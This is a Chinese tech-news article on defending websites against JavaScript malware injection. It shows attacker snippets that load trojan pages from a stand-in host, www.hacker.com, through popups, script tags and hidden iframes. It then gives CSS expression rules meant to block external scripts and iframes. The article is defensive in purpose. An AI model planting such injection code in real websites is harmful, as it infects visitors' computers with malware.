热点推荐
ZOL首页 > 软件资讯 > 软件快报 > 新品速递 > 防患于未然 添加代码防止网站被JS挂马

防患于未然 添加代码防止网站被JS挂马


CBSi中国·ZOL 转载 2011-04-18 14:46 评论

  现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

  这种方法使用的关键代码如下:

  window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:

  <script src="http://www.hacker.com/木马脚本.js"></script>

  或者

  document.write("<div style='display:none'>")
  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")

  就成功地将木马挂到了对方的网页中了。

  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

  <div style="behaviour: url(http://www.hacker.com/木马脚本.js);">
  或者:
  <iframe src="vbscript:[挂马脚本]">

  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。

  让JS木马的进程迅速中止

  在 <head> </head> 之间加入如下代码:
  
    屏蔽script和iframe

  <style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  /*]]>*/
  </style>

  单屏蔽script

  <style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>




尽享网络之美 微软IE9正式发布

ie9中文版官方下载 IE9正式版(32位win7) IE9使用技巧大全
IE9正式版(64位win7) IE9正式版(32位Vista) IE9正式版(64位Vista)


下载 360安全卫士 请点击://xiazai.zol.com.cn/detail/34/331066.shtml
查看更多软件信息>> 360安全卫士 9.0
本软件在系统安全中排名第2位
用户评分:7.2 | 25 人点评
更新时间:2013年01月07日
开发商:奇虎360
下载次数:1324042次
应用平台:Win XP/Win2000/Win98/Win ME
软件分类:系统安全
论坛讨论:进入论坛
看完本文后的感受:文章感受排行>>
 
频道热词:微信  手机QQ  12306  
视觉焦点
360安全卫士 9.0
  • 更新时间:2013年01月07日
  • 软件大小:46.854MB
  • 软件分类:系统安全
  • 语言种类:简体中文
  • 软件评级:25 人点评
新浪微博